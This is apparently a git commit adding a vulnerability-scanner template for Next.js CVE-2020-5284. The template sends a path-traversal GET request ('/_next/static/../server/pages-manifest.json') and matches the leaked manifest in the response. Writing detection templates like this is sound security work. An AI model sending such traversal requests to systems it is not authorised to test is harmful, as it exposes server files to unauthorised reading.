Merge pull request #3 from rootxharsh/master

Nextjs CVE-2020-5284
2020-04-06 00:05:49 +05:30 · 2020-04-06 00:05:49 +05:30 · 4395bf3931
parent 98d707c149 b1cc565e40
commit 4395bf3931
1 changed files with 18 additions and 0 deletions
--- a/cves/nextjs-cve-2020-5284.yaml
+++ b/cves/nextjs-cve-2020-5284.yaml
@ -0,0 +1,18 @@
+id: nextjs-cve-2020-5284
+
+info:
+  name: Next.js .next/ limited path traversal
+  author: Harsh & Rahul
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
+    matchers:
+      - type: regex
+        regex:
+          - '\{"/_app":".*?_app\.js"'
+      - type: status
+        status:
+          - 200